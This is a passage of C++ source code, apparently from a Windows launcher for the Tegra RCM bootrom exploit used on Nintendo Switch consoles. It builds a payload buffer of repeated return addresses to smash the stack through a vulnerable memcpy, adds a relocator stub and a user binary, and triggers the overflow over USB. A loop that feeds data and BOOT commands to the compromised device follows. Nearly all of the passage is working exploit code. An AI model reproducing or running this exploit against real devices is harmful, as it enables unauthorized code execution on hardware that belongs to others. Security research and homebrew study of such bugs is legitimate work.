|
|
{
|
|
_ftprintf(stderr, TEXT("Failed to get libusbK driver version for device with win32 error %d\n"), -versRetVal);
|
|
return -6;
|
|
}
|
|
else if (usbkVersion.major != 3 || usbkVersion.minor != 0 || usbkVersion.micro != 7)
|
|
{
|
|
/*
|
|
_tprintf(TEXT("The opened device isn't using the correct libusbK driver version (expected: %u.%u.%u got: %u.%u.%u)\n"),
|
|
3, 0, 7, usbkVersion.major, usbkVersion.minor, usbkVersion.micro);
|
|
_tprintf(TEXT("Please run Zadig and install the libusbK (v3.0.7.0) driver for this device\n"));
|
|
|
|
_ftprintf(stderr, TEXT("Failed to open USB device handle because of wrong driver version installed\n"));
|
|
*/
|
|
return -6;
|
|
}
|
|
|
|
u8 didBuf[0x10];
|
|
memset(didBuf, 0, sizeof(didBuf));
|
|
const auto didRetVal = rcmDev.readDeviceId(didBuf, sizeof(didBuf));
|
|
if (didRetVal >= int(sizeof(didBuf)))
|
|
{
|
|
/*
|
|
_tprintf(TEXT("RCM Device with id %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X initialized successfully!\n"),
|
|
(u32)didBuf[0],(u32)didBuf[1],(u32)didBuf[2],(u32)didBuf[3],(u32)didBuf[4],(u32)didBuf[5],(u32)didBuf[6],(u32)didBuf[7],
|
|
(u32)didBuf[8],(u32)didBuf[9],(u32)didBuf[10],(u32)didBuf[11],(u32)didBuf[12],(u32)didBuf[13],(u32)didBuf[14],(u32)didBuf[15]);
|
|
*/
|
|
}
|
|
else
|
|
{
|
|
if (didRetVal < 0)
|
|
_ftprintf(stderr, TEXT("Reading device id failed with win32 error %d\n"), -didRetVal);
|
|
else
|
|
_ftprintf(stderr, TEXT("Was only able to read %d out of %d bytes of device id\n"), didRetVal, (int)sizeof(didBuf));
|
|
|
|
return -7;
|
|
}
|
|
|
|
size_t currPayloadOffs = 0;
|
|
ByteVector payloadBuf;
|
|
|
|
// Prefix the image with an RCM command, so it winds up loaded into memory at the right location (0x40010000).
|
|
// Use the maximum length accepted by RCM, so we can transmit as much payload as we want; we'll take over before we get to the end.
|
|
{
|
|
const u32 lengthData = 0x30298;
|
|
payloadBuf.resize(payloadBuf.size() + sizeof(lengthData));
|
|
memcpy(&payloadBuf[currPayloadOffs], &lengthData, sizeof(lengthData));
|
|
currPayloadOffs += sizeof(lengthData);
|
|
}
|
|
|
|
// pad out to 680 so the payload starts at the right address in IRAM
|
|
payloadBuf.resize(680, 0);
|
|
currPayloadOffs = payloadBuf.size();
|
|
|
|
constexpr u32 RCM_PAYLOAD_ADDR = 0x40010000;
|
|
if (usingNoMezzo)
|
|
{
|
|
constexpr size_t bytesToAdd = 0x1a3a * sizeof(u32);
|
|
payloadBuf.resize(payloadBuf.size() + bytesToAdd, 0);
|
|
currPayloadOffs += bytesToAdd;
|
|
assert(currPayloadOffs == payloadBuf.size());
|
|
|
|
// Reload the user-supplied binary in case it changed
|
|
readFileRes = ReadFileToBuf(userFileBuf, TEXT("payload"), inputFilename, false);
|
|
if (readFileRes != 0)
|
|
return readFileRes;
|
|
|
|
u32 entry = RCM_PAYLOAD_ADDR + (u32)userFileBuf.size() + sizeof(u32);
|
|
entry |= 1; //we want to jump to thumb code
|
|
|
|
payloadBuf.resize(payloadBuf.size() + sizeof(u32));
|
|
memcpy(&payloadBuf[currPayloadOffs], &entry, sizeof(entry));
|
|
currPayloadOffs += sizeof(entry);
|
|
assert(currPayloadOffs == payloadBuf.size());
|
|
}
|
|
else
|
|
{
|
|
constexpr u32 INTERMEZZO_LOCATION = 0x4001F000;
|
|
// Populate from[RCM_PAYLOAD_ADDR, INTERMEZZO_LOCATION) with the payload address.
|
|
// We'll use this data to smash the stack when we execute the vulnerable memcpy.
|
|
{
|
|
constexpr size_t bytesToAdd = (INTERMEZZO_LOCATION - RCM_PAYLOAD_ADDR);
|
|
payloadBuf.resize(payloadBuf.size() + bytesToAdd);
|
|
while (currPayloadOffs < payloadBuf.size())
|
|
{
|
|
const u32 spreadMeAround = INTERMEZZO_LOCATION;
|
|
memcpy(&payloadBuf[currPayloadOffs], &spreadMeAround, sizeof(spreadMeAround));
|
|
currPayloadOffs += sizeof(spreadMeAround);
|
|
}
|
|
}
|
|
|
|
// Reload the user-supplied relocator in case it changed
|
|
if (!usingBuiltinMezzo)
|
|
{
|
|
readFileRes = ReadFileToBuf(mezzoBuf, TEXT("relocator"), mezzoFilename, false);
|
|
if (readFileRes != 0)
|
|
return readFileRes;
|
|
}
|
|
|
|
// Include the Intermezzo binary in the command stream. This is our first-stage payload, and it's responsible for relocating the final payload to 0x40010000.
|
|
{
|
|
payloadBuf.resize(payloadBuf.size() + mezzoBuf.size());
|
|
if (currPayloadOffs < payloadBuf.size())
|
|
{
|
|
memcpy(&payloadBuf[currPayloadOffs], &mezzoBuf[0], mezzoBuf.size());
|
|
currPayloadOffs += mezzoBuf.size();
|
|
}
|
|
assert(currPayloadOffs == payloadBuf.size());
|
|
}
|
|
|
|
constexpr u32 PAYLOAD_LOAD_BLOCK = 0x40020000;
|
|
// Finally, pad until we've reached the position we need to put the payload.
|
|
// This ensures the payload winds up at the location Intermezzo expects.
|
|
{
|
|
const auto position = INTERMEZZO_LOCATION + mezzoBuf.size();
|
|
const auto paddingSize = PAYLOAD_LOAD_BLOCK - position;
|
|
|
|
payloadBuf.resize(payloadBuf.size() + paddingSize, 0);
|
|
currPayloadOffs += paddingSize;
|
|
assert(currPayloadOffs == payloadBuf.size());
|
|
}
|
|
|
|
// Reload the user-supplied binary in case it changed
|
|
readFileRes = ReadFileToBuf(userFileBuf, TEXT("payload"), inputFilename, false);
|
|
if (readFileRes != 0)
|
|
return readFileRes;
|
|
}
|
|
|
|
// Put our user-supplied binary into the payload
|
|
{
|
|
payloadBuf.resize(payloadBuf.size() + userFileBuf.size());
|
|
if (currPayloadOffs < payloadBuf.size())
|
|
{
|
|
memcpy(&payloadBuf[currPayloadOffs], &userFileBuf[0], userFileBuf.size());
|
|
currPayloadOffs += userFileBuf.size();
|
|
}
|
|
assert(currPayloadOffs == payloadBuf.size());
|
|
}
|
|
|
|
constexpr size_t PAYLOAD_TOTAL_MAX_SIZE = 192 * 1024;
|
|
// Pad the payload to fill a USB request exactly, so we don't send a short
|
|
// packet and break out of the RCM loop.
|
|
if (payloadBuf.size() < PAYLOAD_TOTAL_MAX_SIZE)
|
|
payloadBuf.resize(align_up(payloadBuf.size(), RCMDeviceHacker::PACKET_SIZE), 0);
|
|
else
|
|
payloadBuf.resize(PAYLOAD_TOTAL_MAX_SIZE);
|
|
|
|
// Send the constructed payload, which contains the command, the stack smashing values, the Intermezzo relocation stub, and the user payload.
|
|
//_tprintf(TEXT("Uploading payload (mezzo size: %u, user size: %u, total size: %u, total padded size: %u)...\n"),
|
|
//(u32)mezzoBuf.size(), (u32)userFileBuf.size(), (u32)currPayloadOffs, (u32)payloadBuf.size());
|
|
|
|
const auto writeRes = rcmDev.write(&payloadBuf[0], payloadBuf.size());
|
|
if (writeRes < (int)payloadBuf.size())
|
|
{
|
|
if (writeRes < 0) {
|
|
//_ftprintf(stderr, TEXT("Win32 error %d happened trying to write payload buffer to RCM\n"), -writeRes);
|
|
}
|
|
else
|
|
{
|
|
//_ftprintf(stderr, TEXT("Was only able to upload %d out of %d bytes of payload buffer\n"), writeRes, (int)payloadBuf.size());
|
|
return -8;
|
|
}
|
|
}
|
|
|
|
// The RCM backend alternates between two different DMA buffers.Ensure we're about to DMA into the higher one, so we have less to copy during our attack.
|
|
const auto switchRes = rcmDev.switchToHighBuffer();
|
|
if (switchRes != 0)
|
|
{
|
|
if (switchRes < 0)
|
|
{
|
|
//_ftprintf(stderr, TEXT("Failed to switch to high buffer, win32 error %d\n"), -switchRes);
|
|
return -9;
|
|
}
|
|
else if (switchRes != RCMDeviceHacker::PACKET_SIZE)
|
|
{
|
|
//_ftprintf(stderr, TEXT("Only wrote %d out of %d bytes during high buffer switch\n"), switchRes, (int)RCMDeviceHacker::PACKET_SIZE);
|
|
return -9;
|
|
}
|
|
|
|
//_tprintf(TEXT("Switched to high buffer\n"));
|
|
}
|
|
|
|
//_tprintf(TEXT("Smashing the stack!\n"));
|
|
const auto smashRes = rcmDev.smashTheStack();
|
|
if (smashRes < 0)
|
|
{
|
|
//_ftprintf(stderr, TEXT("Got win32 error %d tryin to smash\n"), -smashRes);
|
|
return -10;
|
|
}
|
|
|
|
//_tprintf(TEXT("Smashed the stack with a 0x%04x byte SETUP request!\n"), smashRes);
|
|
|
|
if (moreData.size() > 0)
|
|
{
|
|
ByteVector readBuffer(32768, 0);
|
|
int bytesRead = 0;
|
|
while ((bytesRead = rcmDev.read(&readBuffer[0], readBuffer.size())) > 0)
|
|
{
|
|
auto dataIt = std::find_if(moreData.begin(), moreData.end(), [bytesRead, &readBuffer](const AdditionalDataItem& itm)
|
|
{
|
|
if (itm.isAddr() || itm.isBOOT())
|
|
return false;
|
|
|
|
const char* dataName = itm.getSect();
|
|
const size_t dataNameLen = strlen(dataName);
|
|
if (bytesRead > int(dataNameLen) && readBuffer[dataNameLen] == '\n' &&
|
|
strncmp((const char*)&readBuffer[0], dataName, dataNameLen) == 0)
|
|
return true;
|
|
|
|
return false;
|
|
});
|
|
|
|
static const char READY_INDICATOR[] = "READY.\n";
|
|
if (bytesRead == array_countof(READY_INDICATOR) - 1 && memcmp(&readBuffer[0], READY_INDICATOR, array_countof(READY_INDICATOR) - 1) == 0)
|
|
{
|
|
//_tprintf(TEXT("Switching to command mode due to %hs"), READY_INDICATOR);
|
|
for (auto& currData : moreData)
|
|
{
|
|
if (!currData.isAddr() && !currData.isBOOT())
|
|
continue;
|
|
|
|
if (!currData.isBOOT())
|
|
{
|
|
if (!currData.reloaded)
|
|
{
|
|
readFileRes = ReadFileToBuf(currData.dataBytes, TEXT("data"), currData.filename, false);
|
|
if (readFileRes != 0)
|
|
return readFileRes;
|
|
|
|
currData.reloaded = true;
|
|
}
|
|
|
|
//_tprintf(TEXT("Sending %Ts (%llu bytes) to address 0x%08x\n"), currData.filename, (u64)currData.dataBytes.size(), currData.address);
|
|
if (currData.dataBytes.size() == 0)
|
|
continue;
|
|
|
|
int bytesSent = rcmDev.write((const u8*)"RECV", strlen("RECV"));
|
|
if (bytesSent == strlen("RECV"))
|
|
{
|
|
u32 offsetData[] = { _byteswap_ulong((u32)currData.address), _byteswap_ulong((u32)currData.dataBytes.size()) };
|
|
bytesSent = rcmDev.write((const u8*)&offsetData[0], sizeof(offsetData));
|
|
if (bytesSent == sizeof(offsetData))
|
|
bytesSent = rcmDev.write(&currData.dataBytes[0], currData.dataBytes.size(), readBuffer.size());
|
|
}
|
|
if (bytesSent != int(currData.dataBytes.size()))
|
|
{
|
|
if (bytesSent < 0)
|
|
{
|
|
//_ftprintf(stderr, TEXT("Got win32 err %d during send operation!\n"), -bytesSent);
|
|
return -10;
|
|
}
|
|
else if (size_t(bytesSent) < currData.dataBytes.size())
|
|
{
|
|
//_ftprintf(stderr, TEXT("Only sent %d out of %llu bytes for data file %Ts!\n"), bytesSent, (u64)currData.dataBytes.size(), currData.filename);
|
|
continue;
|
|
}
|
|
}
|
|
}
|
|
else
|
|
{
|
|
//_tprintf(TEXT("Booting AArch64 with PC 0x%08x...\n"), currData.address);
|
|
int bytesSent = rcmDev.write((const u8*)"BOOT", strlen("BOOT"));
|
|
if (bytesSent == strlen("BOOT"))
|
|
{
|
|
u32 addrData = _byteswap_ulong(currData.address);
|
|
bytesSent = rcmDev.write((const u8*)&addrData, sizeof(addrData));
|
|
if (bytesSent == sizeof(addrData))
|
|
{
|
|
//_tprintf(TEXT("BOOT command sent successfully! Exiting.\n"));
|
|
return 0;
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
else if (dataIt == moreData.end()) //no matching section to send, just print out the message
|
|
{
|
|
WinString printMe((const char*)&readBuffer[0], (const char*)&readBuffer[bytesRead]);
|
|
//_tprintf(printMe.c_str());
|
|
}
|
|
else //got a section to send
|
|
{
|
|
//_tprintf(TEXT("Switching to sending of section '%hs'\n"), dataIt->getSect());
|
|
if (!dataIt->reloaded)
|
|
{
|
|
readFileRes = ReadFileToBuf(dataIt->dataBytes, TEXT("data"), dataIt->filename, false);
|
|
if (readFileRes != 0)
|
|
return readFileRes;
|
|
|
|
dataIt->reloaded = true;
|
|
}
|
|
|
|
size_t numBytesSent = 0;
|
|
while ((bytesRead = rcmDev.read(&readBuffer[0], readBuffer.size())) >= 8)
|
|
{
|
|
u32 offset, length;
|
|
memcpy(&offset, &readBuffer[0], sizeof(offset));
|
|
memcpy(&length, &readBuffer[sizeof(offset)], sizeof(length));
|
|
offset = _byteswap_ulong(offset);
|
|
length = _byteswap_ulong(length);
|
|
|
|
if (length == 0)
|
|
{
|
|
//_tprintf(TEXT("Finished sending section '%hs' (total bytes sent: %llu)\n"), dataIt->getSect(), (u64)numBytesSent);
|
|
break;
|
|
}
|
|
|
|
const auto neededBytes = size_t(offset) + size_t(length);
|
|
if (neededBytes > dataIt->dataBytes.size())
|
|
{
|
|
//_ftprintf(stderr, TEXT("Device requested %llu bytes (we only have %llu in file '%Ts')!\n"), (u64)neededBytes, (u64)dataIt->dataBytes.size(), dataIt->filename);
|
|
return -2;
|
|
}
|
|
|
|
//_tprintf(TEXT("Sending 0x%08x bytes from offset 0x%08x\n"), length, offset);
|
|
int bytesSent = rcmDev.write(&dataIt->dataBytes[offset], length, readBuffer.size());
|
|
if (bytesSent != int(length))
|
|
{
|
|
if (bytesSent >= 0)
|
|
{
|
|
//_ftprintf(stderr, TEXT("Warn: Sent only %d out of requested %u bytes\n"), bytesSent, length);
|
|
}
|
|
else
|
|
{
|
|
//_ftprintf(stderr, TEXT("Got win32 err %d during send operation!\n"), -bytesSent);
|
|
return -10;
|
|
}
|
|
}
|
|
numBytesSent += bytesSent;
|
|
}
|
|
if (bytesRead < 0)
|
|
{
|
|
//_ftprintf(stderr, TEXT("Got win32 err %d during [offset,length] read operation!\n"), -bytesRead);
|
|
return -10;
|
|
}
|
|
else if (bytesRead < 8)
|
|
{
|
|
//_ftprintf(stderr, TEXT("Read too short packet (%d bytes) while in section send mode, dropping out.\n"), bytesRead);
|
|
break;
|
|
}
|
|
}
|
|
}
|
|
if (bytesRead < 0)
|
|
{
|
|
//_ftprintf(stderr, TEXT("Win32 error %d during post-smash read op\n"), -bytesRead);
|
|
return -10;
|
|
}
|
|
}
|
|
}
|
|
|
|
return 0;
|
|
} |